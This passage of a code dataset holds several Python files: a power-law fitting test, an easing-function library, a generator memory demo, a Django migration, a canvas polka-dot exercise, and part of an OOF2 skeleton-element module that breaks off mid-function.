+{"seq_id":"38297934380","text":"import numpy as np\nimport plfit\nfrom plfit import cplfit\nfrom plfit import fplfit\nimport time\nimport pylab as plt\n#from numpy.random import rand\n#from numpy import unique,sort,array,asarray,log,sum,min,max,argmin,argmax,arange\nimport sys\n\"\"\" \nTest code for fixed, varying xmin. Alpha is set to 2.5, and argv[1] random power-law\ndistributions are then fit. \n\nTiming tests implemented in speedcompare_plfit.py\nX=plfit.plexp_inv(rand(ne),1,2.5)\nt1=time.time(); p3=plfit.plfit(X,usefortran=False,usecy=True); print time.time()-t1\nt1=time.time(); p1=plfit.plfit(X); print time.time()-t1\nt1=time.time(); p3=plfit.plfit(X,usefortran=False); print time.time()-t1\n\"\"\"\n\nif len(sys.argv) > 1:\n ntests = int(sys.argv[1])\n if len(sys.argv) > 2:\n nel = int(sys.argv[2])\n if len(sys.argv) > 3:\n xmin = float(sys.argv[3])\n else:\n xmin = 0.5\n else: \n nel = 1000\nelse:\n nel = 1000\n xmin = 0.5\n ntests = 1000\n\na = np.zeros(ntests)\nfor i in range(ntests):\n X=plfit.plexp_inv(np.random.rand(nel),xmin,2.5)\n p=plfit.plfit(X,xmin=xmin,quiet=True,silent=True)\n a[i]=p._alpha\n\nh,b = plt.hist(a,bins=30)[:2]\nbx = (b[1:]+b[:-1])/2.0\n\nfrom agpy import gaussfitter\np,m,pe,chi2 = gaussfitter.onedgaussfit(bx,h,params=[0,ntests/10.0,2.5,0.05],fixed=[1,0,0,0])\n\nfig1 = plt.figure(1)\nfig1.clf()\nplt.plot(bx,m)\n\nprint(\"XMIN fixed: Alpha = 2.5 (real), %0.3f +/- %0.3f (measured)\" % (p[2],p[3]))\n\n\na=plt.zeros(ntests)\nxm=plt.zeros(ntests)\nfor i in range(ntests):\n data = plfit.plexp_inv(np.random.rand(nel),xmin,2.5)\n p = plfit.plfit(data,quiet=True,silent=True)\n a[i] = p._alpha\n xm[i] = p._xmin\n\nfig2 = plt.figure(2)\nfig2.clf()\nh1,b1 = plt.hist(a,bins=30)[:2]\nplt.xlabel('alpha')\nbx1 = (b1[1:]+b1[:-1])/2.0\n\np1,m1,pe1,chi21 = gaussfitter.onedgaussfit(bx1,h1,params=[0,ntests/10.0,2.5,0.05],fixed=[1,0,0,0])\nplt.plot(bx1,m1)\nprint(\"XMIN varies: Alpha = 2.5 (real), %0.3f +/- %0.3f (measured)\" % (p1[2],p1[3]))\n\nfig3 = plt.figure(3)\nfig3.clf()\nh2,b2 = plt.hist(xm,bins=30)[:2]\nplt.xlabel('xmin')\nbx2 = (b2[1:]+b2[:-1])/2.0\n\np2,m2,pe2,chi2 = gaussfitter.onedgaussfit(bx2,h2,params=[0,ntests/10.0,xmin,0.2],fixed=[1,0,0,0])\nplt.plot(bx2,m2)\nprint(\"XMIN varies: XMIN = %0.3f (real), %0.3f +/- %0.3f (measured)\" % (xmin,p2[2],p2[3]))\n","repo_name":"keflavich/plfit","sub_path":"plfit/tests/plfit_tests.py","file_name":"plfit_tests.py","file_ext":"py","file_size_in_byte":2285,"program_lang":"python","lang":"en","doc_type":"code","stars":85,"dataset":"github-code","pt":"37"} +{"seq_id":"36526674298","text":"import math\n\n\"\"\"Easing Utilities\n\nThis module contains all interpolation classes divided by function of\ninterpolation.\nEach class represents a different way or MODE to interpolate\nbetween two values.\nEvery MODE has three different TYPE of interpolation (except for the\nLinearEase) with the same method signature.\nThe TYPEs are ease-in, ease-out and ease-in-out.\n\nParamters:\n curr_time: the current time of the interpolation\n start_val: start value\n end_val: end value\n duration: duration in seconds of the animation\n\nUsage:\n In order to use it you have to have a current time variabile that\n you have to increment every step and then pass it to the selected function.\n\n\"\"\"\n\n\nclass LinearEase():\n \"\"\"Linear interpolation mode. No actual ease.\"\"\"\n\n @staticmethod\n def ease_in_out(curr_time, start_val, end_val, duration):\n return (end_val-start_val)*(curr_time/duration) + start_val\n\n\nclass SinEase():\n \"\"\"Sinusoidal interpolation mode. Preety slow.\"\"\"\n\n @staticmethod\n def ease_in(curr_time, start_val, end_val, duration):\n change = end_val - start_val\n return -change * math.cos(curr_time/duration * (math.pi*.5))\\\n + change + start_val\n\n @staticmethod\n def ease_out(curr_time, start_val, end_val, duration):\n change = end_val - start_val\n return change * math.sin(curr_time/duration * (math.pi*.5)) + start_val\n\n @staticmethod\n def ease_in_out(curr_time, start_val, end_val, duration):\n change = end_val - start_val\n return -change * .5 * (math.cos(math.pi*(curr_time/duration)) - 1.0)\\\n + start_val\n\n\nclass QuadEase():\n \"\"\"Quartic interpolation mode. Very used, standard speed.\"\"\"\n\n @staticmethod\n def ease_in(curr_time, start_val, end_val, duration):\n change = end_val - start_val\n curr_time /= duration\n return change * curr_time**2 + start_val\n\n @staticmethod\n def ease_out(curr_time, start_val, end_val, duration):\n change = end_val - start_val\n curr_time /= duration\n return -change * curr_time * (curr_time - 2.0) + start_val\n\n @staticmethod\n def ease_in_out(curr_time, start_val, end_val, duration):\n curr_time /= (duration * .5)\n change = end_val - start_val\n if curr_time < 1:\n return change * .5 * curr_time**2 + start_val\n curr_time -= 1.0\n return -change * .5 * (curr_time * (curr_time - 2.0) - 1.0) + start_val\n\n\nclass CubicEase():\n \"\"\"Cubic interpolation mode. Standard speed but a little bumpy.\"\"\"\n\n @staticmethod\n def ease_in(curr_time, start_val, end_val, duration):\n change = end_val - start_val\n curr_time /= duration\n return change * curr_time**3 + start_val\n\n @staticmethod\n def ease_out(curr_time, start_val, end_val, duration):\n change = end_val - start_val\n curr_time /= duration\n curr_time -= 1.0\n return change * (curr_time**3 + 1) + start_val\n\n @staticmethod\n def ease_in_out(curr_time, start_val, end_val, duration):\n change = end_val - start_val\n curr_time /= duration*.5\n if curr_time < 1.0:\n return change * .5 * curr_time**3 + start_val\n curr_time -= 2.0\n return change * .5 * (curr_time**3 + 2.0) + start_val\n\n\nclass QuarticEase():\n \"\"\"Quartic interpolation mode. Standard speed but a little bumpy.\"\"\"\n\n @staticmethod\n def ease_in(curr_time, start_val, end_val, duration):\n change = end_val - start_val\n curr_time /= duration\n return change * curr_time**4 + start_val\n\n @staticmethod\n def ease_out(curr_time, start_val, end_val, duration):\n change = end_val - start_val\n curr_time /= duration\n curr_time -= 1.0\n return -change * (curr_time**4 - 1.0) + start_val\n\n @staticmethod\n def ease_in_out(curr_time, start_val, end_val, duration):\n change = end_val - start_val\n curr_time /= duration * .5\n if curr_time < 1.0:\n return change * .5 * curr_time**4 + start_val\n curr_time -= 2.0\n return -change * .5 * (curr_time**4 - 2.0) + start_val\n\n\nclass QuinticEase():\n \"\"\"Quintic interpolation mode. Fast and bumpy.\"\"\"\n\n @staticmethod\n def ease_in(curr_time, start_val, end_val, duration):\n curr_time /= duration\n return (end_val - start_val) * curr_time**5 + start_val\n\n @staticmethod\n def ease_out(curr_time, start_val, end_val, duration):\n curr_time /= duration\n curr_time -= 1.0\n return (end_val - start_val) * (curr_time**5 + 1.0) + start_val\n\n @staticmethod\n def ease_in_out(curr_time, start_val, end_val, duration):\n change = end_val - start_val\n curr_time /= duration * .5\n if (curr_time < 1.0):\n return change * .5 * curr_time**5 + start_val\n curr_time -= 2.0\n return change * .5 * (curr_time**5 + 2.0) + start_val\n\n\nclass ExpEase():\n \"\"\"Quintic interpolation mode. Very fast and very bumpy.\"\"\"\n\n @staticmethod\n def ease_in(curr_time, start_val, end_val, duration):\n return (end_val - start_val) * \\\n math.pow(2, 10.0 * (curr_time/duration - 1.0)) + start_val\n\n @staticmethod\n def ease_out(curr_time, start_val, end_val, duration):\n return (end_val - start_val) * \\\n (-math.pow(2, -10.0 * curr_time/duration) + 1.0) + start_val\n\n @staticmethod\n def ease_in_out(curr_time, start_val, end_val, duration):\n change = end_val - start_val\n curr_time /= duration * .5\n if curr_time < 1.0:\n return change * .5 * math.pow(2, 10 * (curr_time - 1.0))\\\n + start_val\n curr_time -= 1.0\n return change * .5 * (-math.pow(2, -10.0 * curr_time) + 2.0)\\\n + start_val\n\n\nclass CircularEase():\n \"\"\"Quintic interpolation mode. Very fast and maybe to much bumpy.\"\"\"\n\n @staticmethod\n def ease_in(curr_time, start_val, end_val, duration):\n curr_time /= duration\n return -(end_val - start_val) * (math.sqrt(1 - curr_time**2) - 1)\\\n + start_val\n\n @staticmethod\n def ease_out(curr_time, start_val, end_val, duration):\n curr_time /= duration\n curr_time -= 1.0\n return (end_val - start_val) * math.sqrt(1 - curr_time**2) + start_val\n\n @staticmethod\n def ease_in_out(curr_time, start_val, end_val, duration):\n change = end_val - start_val\n curr_time /= duration * .5\n if curr_time < 1:\n return -change * .5 * (math.sqrt(1 - curr_time**2) - 1.0)\\\n + start_val\n curr_time -= 2.0\n return change * .5 * (math.sqrt(1 - curr_time**2) + 1.0)\\\n + start_val\n\n\nclass ElasticEase():\n \"\"\"Elastic interpolation mode.\n The methods have arguments for the spring's elastic costant and speed.\n \"\"\"\n @staticmethod\n def ease_in(curr_time, start_val, end_val, duration, k=.3, speed=4):\n if curr_time == 0:\n return start_val\n curr_time /= duration\n if curr_time == 1.0:\n return end_val\n p = duration * k\n change = end_val - start_val\n s = p/4.0\n curr_time -= 1\n postFix = change * math.pow(speed, 10 * curr_time)\n return -(postFix * math.sin(\n (curr_time * duration - s) * (2 * math.pi)/p)) + start_val\n\n @staticmethod\n def ease_out(curr_time, start_val, end_val, duration, k=.3, speed=4):\n change = end_val-start_val\n curr_time /= duration\n if curr_time == 1:\n return end_val\n p = duration * k\n s = p/4.0\n return change * math.pow(speed, -10.0 * curr_time)\\\n * math.sin((curr_time * duration - s) * (2.0 * math.pi)/p)\\\n + change + start_val\n\n @staticmethod\n def ease_in_out(curr_time, start_val, end_val, duration, k=.3, speed=4):\n if curr_time == 0:\n return start_val\n curr_time /= duration/2.0\n if curr_time == 2.0:\n return end_val\n p = duration * k * 1.5\n change = (end_val - start_val)\n s = p/4.0\n if curr_time < 1:\n curr_time -= 1\n postFix = change*math.pow(2, 10*(curr_time))\n return -.5 * \\\n (postFix * math.sin((curr_time*duration-s)*(2.0 * math.pi)/p))\\\n + start_val\n curr_time -= 1\n postFix = change * math.pow(speed, -10*(curr_time))\n return postFix * math.sin((curr_time*duration-s)*(2.0 * math.pi)/p)\\\n * .5 + change + start_val\n\n\nclass BackEase():\n \"\"\"Back interpolation mode.\n The methods have an argument for controlling the back distance.\n \"\"\"\n\n @staticmethod\n def ease_in(curr_time, start_val, end_val, duration, back_dist=1.7):\n postFix = curr_time/duration\n return (end_val - start_val) * postFix*curr_time * \\\n ((back_dist+1)*curr_time - back_dist) + start_val\n\n @staticmethod\n def ease_out(curr_time, start_val, end_val, duration, back_dist=1.7):\n curr_time = curr_time/duration-1\n return (end_val - start_val) * \\\n (curr_time*curr_time*((back_dist+1)*curr_time + back_dist) + 1)\\\n + start_val\n\n @staticmethod\n def ease_in_out(curr_time, start_val, end_val, duration, back_dist=1.7):\n back_dist *= 1.525\n curr_time /= duration*.5\n if curr_time < 1:\n return (end_val - start_val) * .5 * \\\n (curr_time*curr_time*((back_dist+1.0)*curr_time - back_dist))\\\n + start_val\n curr_time -= 2.0\n return (end_val - start_val) * .5 * \\\n (curr_time*curr_time*((back_dist+1.0)*curr_time+back_dist) + 2.0)\\\n + start_val\n\n'''\n *\n * TERMS OF USE - EASING EQUATIONS\n *\n * Open source under the BSD License.\n *\n * Copyright © 2001 Robert Penner\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n *\n * Redistributions of source code must retain the above copyright notice, this list of\n * conditions and the following disclaimer.\n * Redistributions in binary form must reproduce the above copyright notice, this list\n * of conditions and the following disclaimer in the documentation and/or other materials\n * provided with the distribution.\n *\n * Neither the name of the author nor the names of contributors may be used to endorse\n * or promote products derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n * MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE\n * GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED\n * OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n'''\n","repo_name":"PlumpMath/EasingUtils","sub_path":"easing_utils/easing.py","file_name":"easing.py","file_ext":"py","file_size_in_byte":11312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10186958251","text":"#!/usr/local/bin/python3\n\n# This file was created on 12/05/2016\n# Author: George Kaimakis\n# This code from 'Generator tutorial' by Corey Schafer (https://www.coreyms.com)\n\nimport mem_profile\nimport random\nimport time\n\nnames = ['John', 'Corey', 'Adam', 'Steve', 'Rick', 'Thomas']\nmajors = ['Math', 'Engineering', 'CompSci', 'Arts', 'Business']\n\nprint('Memory (Before): {} Mb'.format(mem_profile.memory_usage_resource()))\n\ndef people_list(num_people):\n result = []\n for i in range(num_people):\n person = {\n 'id': i,\n 'name': random.choice(names),\n 'major': random.choice(majors)\n }\n result.append (person)\n return result\n\ndef people_generator(num_people):\n for i in range(num_people):\n person = {\n 'id': i,\n 'name': random.choice(names),\n 'major': random.choice(majors)\n }\n yield person\n\nt1 = time.clock()\npeople = people_list(1000000)\nt2 = time.clock()\n\n# t1 = time.clock()\n# people = people_generator(1000000)\n# t2 = time.clock()\n\nprint('Memory (After): {} Mb'.format (mem_profile.memory_usage_resource()))\nprint(\"Took {} Seconds\".format(t2-t1))\n\n","repo_name":"geokai/python_with_corey","sub_path":"people.py","file_name":"people.py","file_ext":"py","file_size_in_byte":1219,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"37"} +{"seq_id":"15613914987","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('blog', '0001_initial'),\n ]\n\n operations = [\n migrations.CreateModel(\n name='Comment',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('author', models.CharField(max_length=50, verbose_name=b'Author')),\n ('created_at', models.DateTimeField(auto_now_add=True)),\n ('content', models.TextField(verbose_name=b'Content', blank=True)),\n ('post', models.ForeignKey(verbose_name=b'Topic', to='blog.Post')),\n ],\n ),\n ]\n","repo_name":"zdimon/angular","sub_path":"blog/migrations/0002_comment.py","file_name":"0002_comment.py","file_ext":"py","file_size_in_byte":783,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39541090988","text":"\"\"\"\nFile: colored_polka_dots.py\n-------------------\nThis is a program that adds a circle to the canvas wherever the user\nclicks the mouse. All the polka dots change to a new random color\nwhenever the user hits the space bar.\n\"\"\"\n\nfrom graphics import Canvas\n\nCIRCLE_SIZE = 25\n\n\ndef main():\n canvas = Canvas()\n canvas.set_canvas_title(\"Colored Polka Dots\")\n\n dots = []\n\n while True:\n # Add a circle each time the user clicks\n clicks = canvas.get_new_mouse_clicks()\n for click in clicks:\n dot = create_polka_dot(canvas, click.x, click.y)\n dots.append(dot)\n\n # If the user hits the space bar, change the dots to random colors\n presses = canvas.get_new_key_presses()\n for press in presses:\n if press.keysym == \"space\":\n randomly_color_dots(canvas, dots)\n\n canvas.update()\n\n canvas.mainloop()\n\n\ndef create_polka_dot(canvas, x, y):\n \"\"\"\n Creates and returns a new polka dot on the canvas with upper-left corner\n at the given x, y location, colored blue.\n \"\"\"\n circle = canvas.create_oval(x, y, x + CIRCLE_SIZE, y + CIRCLE_SIZE)\n canvas.set_color(circle, 'blue')\n return circle\n\n\ndef randomly_color_dots(canvas, dots):\n \"\"\"\n Randomly colors all the dots in the dots list to be\n different random colors.\n \"\"\"\n for dot in dots:\n random_color = canvas.get_random_color()\n canvas.set_color(dot, random_color)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Sait-C/CS106-CSBridge","sub_path":"Section15/EducationContent/Lecture14/colored_polka_dots_solution.py","file_name":"colored_polka_dots_solution.py","file_ext":"py","file_size_in_byte":1501,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2141765433","text":"from ooflib.SWIG.common import config\nassert config.dimension() == 2\n\nfrom ooflib.SWIG.common import coord\nfrom ooflib.SWIG.common import timestamp\nfrom ooflib.SWIG.engine import cskeleton\nfrom ooflib.SWIG.engine import material\nfrom ooflib.SWIG.engine import ooferror2\nfrom ooflib.common import debug\nfrom ooflib.common import enum\nfrom ooflib.common import object_id\nfrom ooflib.common import parallel_enable\nfrom ooflib.common import primitives\nfrom ooflib.engine import skeletonnode\nfrom ooflib.engine import skeletonselectable\nimport ooflib.common.microstructure\nimport math\n\n#########################################\n\nclass ElementShapeType(enum.EnumClass(('triangle', 'triangular elements'),\n ('quad', 'quadrilateral elements'))):\n tip = \"Shapes of Skeleton Elements.\"\n discussion = \"\"\"\n ElementShapeType objects are used in a few\n cases where it's necessary to distinguish between &elem; shapes in\n the &oof2; commands.\n \"\"\"\n \n\n\n# The SkeletonElementBase is the base class for both the\n# SkeletonElement and the ProvisionalElement. It can compute\n# geometrical stuff like homogeneity and shape energy, but knows\n# nothing about selectability, segments, or neighbors.\n\nclass SkeletonElementBase:\n def __init__(self, nodes):\n self.nodes = nodes\n \n def __repr__(self):\n return \"%s(%s)\" % (self.__class__.__name__, id(self))\n# return \"%s(%s)\" % (self.__class__.__name__, self.nodes)\n\n def material(self, skeletonctxt):\n # This is the default function for assigning a material to an\n # element. When a Mesh is created, a different function may\n # be used in some circumstances (see Relax).\n\n # If this element is part of an ElementGroup that has an\n # explicitly assigned Material, return that Material. If it's\n # part of more than one such group, return the Material that\n # was assigned most recently. Otherwise, return the material\n # assigned to the element's dominant pixel.\n \n lasttime = timestamp.timeZero\n lastmaterial = None\n for group in self.groups:\n matl, ts = skeletonctxt.elementgroups.getMaterialAndTime(group)\n if matl is not None and ts > lasttime:\n lastmaterial, lasttime = matl, ts\n if lastmaterial is not None:\n return lastmaterial\n ms = skeletonctxt.getObject().MS\n dominantpixel = self.dominantPixel(ms)\n if dominantpixel is not None:\n return material.getMaterialFromCategory(ms, dominantpixel)\n\n def underlyingPixels(self, microstructure):\n # Returns a list of all pixels that overlap with this element.\n dx, dy = microstructure.sizeOfPixels()\n nx, ny = microstructure.sizeInPixels()\n return self.underlying_pixels(microstructure) # C++\n\n def transitionPoint(self, skeleton, edgeno):\n ok, point = \\\n cskeleton.CSkeletonElementPtr.transitionPoint(self, skeleton.MS,\n edgeno)\n if ok:\n return point\n \n def energyTotal(self, skeleton, alpha):\n if alpha == 0.0:\n return self.energyShape()\n if alpha == 1.0:\n return self.energyHomogeneity(skeleton.MS)\n return alpha*self.energyHomogeneity(skeleton.MS) + \\\n (1.-alpha)*self.energyShape()\n\n def getPositionHash(self):\n sortedpositions = [n.position() for n in self.nodes]\n sortedpositions.sort()\n hashable = []\n for pos in sortedpositions:\n for i in range(2):\n hashable.append(pos[i])\n return hash(tuple(hashable))\n\n##########################\n \nclass SkeletonElement(SkeletonElementBase,\n skeletonselectable.SkeletonSelectable):\n def __init__(self, nodes, index):\n SkeletonElementBase.__init__(self, nodes)\n skeletonselectable.SkeletonSelectable.__init__(self, index)\n\n # Although the CSkeletonElement keeps a list of\n # CSkeletonNodes, the extra information in the Python\n # SkeletonNodes isn't available unless we keep a list of them\n # here, as well. It's possible that we could move all the\n # extra info into the CSkeletonNode class and swig it.\n # Canonical ordering will still work, because it's based on\n # indices.\n self.nodes = nodes\n \n for node in nodes:\n node.addElement(self)\n \n # When a real mesh is made from the skeleton in which this\n # element lives, self.meshindex gets assigned the index of\n # that element. This index is the same for all the real meshes.\n self.meshindex = None\n\n self.ID = object_id.ObjectID()\n\n # process ID (only meaningful in parallel mode)\n if parallel_enable.enabled():\n from ooflib.SWIG.common import mpitools\n self._procID = mpitools.Rank()\n else:\n self._procID = None\n\n\n # There may be some temptation to provide elements with an\n # index-based equality comparison function. Doing this is\n # dangerous, as it screws up the parent/child addition machinery\n # in the parent SkeletonSelection class. \n\n def repr_position(self):\n return self.center()\n\n def getIndex(self):\n return self.index\n\n #Interface branch\n def getNodeIndexIntoList(self,node):\n ## TODO OPT: This seems to be called a lot. Why not create a\n ## lookup table, or store the index in the node?\n return self.nodes.index(node)\n\n def type(self):\n return self.shapetype\n\n def destroy(self, skeleton):\n self.disconnect()\n nnodes = self.nnodes()\n lastnode = self.nodes[-1]\n for node in self.nodes:\n skeleton.findSegment(lastnode, node).removeElement(skeleton, self)\n node.removeElement(skeleton, self)\n lastnode = node\n self.nodes = []\n\n # def getFEelement(self):\n # return self.element\n\n def getSegments(self, skeleton):\n segments = []\n lastnode = self.nodes[-1]\n for node in self.nodes:\n segments.append(skeleton.findSegment(node, lastnode))\n lastnode = node\n return segments\n\n #Interface branch\n #Get the segment opposite seg1 and that is incident on node1.\n #seg1 and the segment we are looking for form a 'V'.\n def getOppositeSegment(self, node1, seg1, skeleton):\n for node in self.nodes:\n if node!=node1:\n oseg=skeleton.findSegment(node,node1)\n if oseg is not None and oseg!=seg1:\n return oseg\n def nodesInOrder(self, node0, node1):\n lastnode = self.nodes[-1]\n for node in self.nodes:\n if node0==lastnode and \\\n node1==node:\n return 1\n lastnode=node\n return 0\n def getSegmentOrderNumber(self, seg, skeleton):\n lastnode = self.nodes[-1]\n i=0\n for node in self.nodes:\n if seg==skeleton.findSegment(node, lastnode):\n return i\n lastnode=node\n i+=1\n return -1\n def getSegmentFromOrderNumber(self, ordernumber, skeleton):\n lastnode = self.nodes[-1]\n i=0\n for node in self.nodes:\n if i==ordernumber:\n return skeleton.findSegment(node, lastnode)\n lastnode=node\n i+=1\n return None\n\n def active(self, skeleton):\n for node in self.nodes:\n if node.active(skeleton):\n return 1\n return 0\n\n def new_child(self,index):\n raise ooferror2.ErrPyProgrammingError(\n \"Attempt to clone element parent class.\")\n\n def getNumberOfEdges(self):\n return self.nnodes()\n\n def segment_node_iterator(self):\n segment_nodes = []\n for i in range(self.nnodes()):\n n0 = self.nodes[i]\n n1 = self.nodes[(i+1)%self.nnodes()]\n segment_nodes.append((n0,n1))\n return segment_nodes\n\n def segment_iterator(self, skel):\n segments = []\n for i in range(self.nnodes()):\n n0 = self.nodes[i]\n n1 = self.nodes[(i+1)%self.nnodes()]\n segments.append(skel.findSegment(n0, n1))\n return segments\n\n def edgeNeighbors(self, skeleton, loopRange=0):\n # Search for edge-sharing neighborhood for a given element and return\n # a list of them.\n nnodes = self.nnodes()\n edgeNeighborList = [None]*nnodes\n for i in range(nnodes):\n segment = skeleton.findSegment(self.nodes[i],\n self.nodes[(i+1)%nnodes])\n if segment is not None:\n edgeNeighborList[i] = segment.getOtherElement(self)\n\n # this should only work if the segment is on a periodic boundary\n # in which case the above call to getOtherElement should have\n # returned nothing\n partners = self.nodes[i].getPartnerPair(self.nodes[(i+1)%nnodes])\n if partners is not None:\n segment = skeleton.findSegment(partners[0],partners[1])\n if segment is not None:\n edgeNeighborList[i] = segment.getOtherElement(self)\n\n return edgeNeighborList\n\n def getEdgeLengthsList(self):\n list = []\n for i in range(self.nnodes()):\n list.append(self.edgeLength(i))\n return list\n\n def getShortestEdge(self):\n list = self.getEdgeLengthsList()\n minEdge = list[0]\n index = 0\n for i in range(1, self.nnodes()):\n if list[i] < minEdge:\n minEdge = list[i]\n index = i\n return index\n \n def getAnglesList(self):\n# list = []\n# for i in range(self.nnodes()):\n# list.append(self.cosCornerAngle(i))\n# return list\n return [self.cosCornerAngle(i) for i in range(self.nnodes())]\n \n \n def getBiggestAngle(self):\n list = self.getAnglesList()\n maxAngle = list[0] # cosine of the angle\n index = 0\n for i in range(1, self.nnodes()):\n if list[i] < maxAngle:\n maxAngle = list[i]\n index = i\n return index\n\n def getSister(self, skeleton, node0, node1):\n # 4 _________ 3\n # \\ /\n # \\ A / If an edge 1-2 of the element A needs to be modified\n # \\ / (for example, collapsing), it is important to update\n # 1 \\_/ 2 its edge-sharing neighbor element B.\n # / \\ This function returns a sister element of \"self\" which\n # / \\ shares an edge (node1-node2).\n # / B \\\n # ---------\n\n segment = skeleton.findSegment(node0, node1)\n elements = segment.getElements()\n## if len(elements) > 2:\n## raise ooferror2.ErrPyProgrammingError(\"Too many sisters!\")\n for e in elements:\n if e is not self:\n return e\n return None # edge boundary\n \n def getSisterPeriodic(self, skeleton, node0, node1):\n segment = skeleton.findSegment(node0, node1)\n elements = segment.getElements()\n for e in elements:\n if e is not self:\n return e\n partnerseg = segment.getPartner(skeleton)\n if partnerseg:\n return partnerseg.getElements()[0]\n return None\n\n def replacementNodes(self, oldnode, newnode):\n nodelist = self.nodes[:]\n which = nodelist.index(oldnode)\n nodelist[which] = newnode\n return nodelist\n\n # Parallel stuff\n if parallel_enable.enabled():\n def belongTo(self, bbox): # called from \"engine.IO.skeletonIPC\"\n c = self.center()\n xmin = bbox.lowerLeft[0]\n ymin = bbox.lowerLeft[1]\n xmax = bbox.upperRight[0]\n ymax = bbox.upperRight[1]\n return (xmin<=c[0] and c[0] d/a\n # 2. Get an opposite segment of \"a\". => c\n # 3. A.R. => max(c,d)/min(c,d)\n #\n # The reason why not using d/a as A.R. is that if a quad. has\n # one short segment and three similarly long segments, d/a may\n # give a wrong impression about this quad.\n\n lengths = [self.edgeLength(i) for i in range(4)]\n max_ratio = 1.0\n long_side = None\n short_side = None\n for i in range(4):\n if lengths[i] >= lengths[(i+1)%4]:\n long = i\n short = (i+1)%4\n else:\n long = (i+1)%4\n short = i\n ratio = lengths[long]/lengths[short]\n if ratio >= max_ratio:\n max_ratio = ratio\n long_side = long\n short_side = short\n opposite = (short_side+2)%4\n return max(lengths[opposite], lengths[long_side])/\\\n min(lengths[opposite], lengths[long_side])\n\n## def getLongSegments(self, skeleton):\n## lengths = [self.edgeLength(i) for i in range(4)]\n## long = lengths.index(max(lengths))\n## seg1 = skeleton.findSegment(self.nodes[long], self.nodes[(long+1)%4])\n## seg2 = skeleton.findSegment(self.nodes[(long+2)%4],\n## self.nodes[(long+3)%4])\n## return seg1, seg2\n\n def getAspectRatioSegments(self, threshold, skeleton):\n ## Return segments that should be refined by CheckAspectRatio.\n ## The long edges of quads can be refined if there are two\n ## long edges and two short ones, and the long ones are\n ## opposite to each other. We check the ratio of the second\n ## longest to the second shortest, because this rules out\n ## cases in which one edge is much longer than the other\n ## three.\n segs = []\n lengths = map(self.edgeLength, (0,1,2,3))\n sortlengths = lengths[:]\n sortlengths.sort()\n if sortlengths[2] > sortlengths[1]*threshold:\n # find longest edges\n l0 = sortlengths[2]\n l1 = sortlengths[3]\n i0 = i1 = None\n for i in (0,1,2,3):\n leng = lengths[i]\n if leng == l0:\n i0 = i\n if leng == l1:\n i1 = i\n idiff = i0 - i1\n if idiff == 2 or idiff == -2:\n segs.append(skeleton.findSegment(self.nodes[i0],\n self.nodes[(i0+1)%4]))\n segs.append(skeleton.findSegment(self.nodes[i1],\n self.nodes[(i1+1)%4]))\n return segs\n\n def provisionalReplacement(self, oldnode, newnode):\n return ProvisionalQuad(self.replacementNodes(oldnode, newnode),\n self.getParents())\n\nclass ProvisionalQuad(ProvisionalElement, cskeleton.CSkeletonQuad):\n def __init__(self, nodes, parents):\n cskeleton.CSkeletonQuad.__init__(self, *nodes)\n ProvisionalElement.__init__(self, nodes, parents)\n\n##################################\n \nclass SkeletonTriangle(SkeletonElement, cskeleton.CSkeletonTriangle):\n # A three-sided ghost element with master space (1,0) -> (0,1) -> (0,0)\n def __init__(self,nodes,index):\n SkeletonElement.__init__(self,nodes,index)\n cskeleton.CSkeletonTriangle.__init__(self,*nodes)\n\n shapetype = ElementShapeType('triangle')\n\n def new_child(self, index):\n node_children = [ x.getChildren()[-1] for x in self.nodes ]\n new = SkeletonTriangle(node_children, index)\n new.copyHomogeneity(self)\n return new\n\n def aspectRatio(self):\n lengths = [self.edgeLength(i) for i in range(3)]\n lengths.sort()\n ## This returns the ratio of the *middle* length to the\n ## *shortest* length, which might seem odd. It's a more\n ## conservative definition than using lengths[2]/lengths[0].\n ## The reason for using it is that aspectRatio is used to mark\n ## elements for refining, and not much is gained by refining\n ## high aspect triangles unless they're more or less\n ## isosceles, with only one small angle.\n return lengths[1]/lengths[0]\n\n def provisionalReplacement(self, oldnode, newnode):\n return ProvisionalTriangle(self.replacementNodes(oldnode, newnode),\n self.getParents())\n\n## def getLongSegments(self, skeleton):\n## lengths = [self.edgeLength(i) for i in range(3)]\n## short = lengths.index(min(lengths))\n## seg1 = skeleton.findSegment(self.nodes[(short+1)%3],\n## self.nodes[(short+2)%3])\n## seg2 = skeleton.findSegment(self.nodes[(short+2)%3],\n## self.nodes[(short+3)%3])\n## return seg1, seg2\n\n def getAspectRatioSegments(self, threshold, skeleton):\n # return segments that should be refined by CheckAspectRatio.\n # See comment in aspectRatio(), above.\n \n lengths = [(self.edgeLength(i), i) for i in range(3)]\n lengths.sort()\n if lengths[1][0] > lengths[0][0] * threshold:\n n0 = lengths[2][1]\n n1 = lengths[1][1]\n return 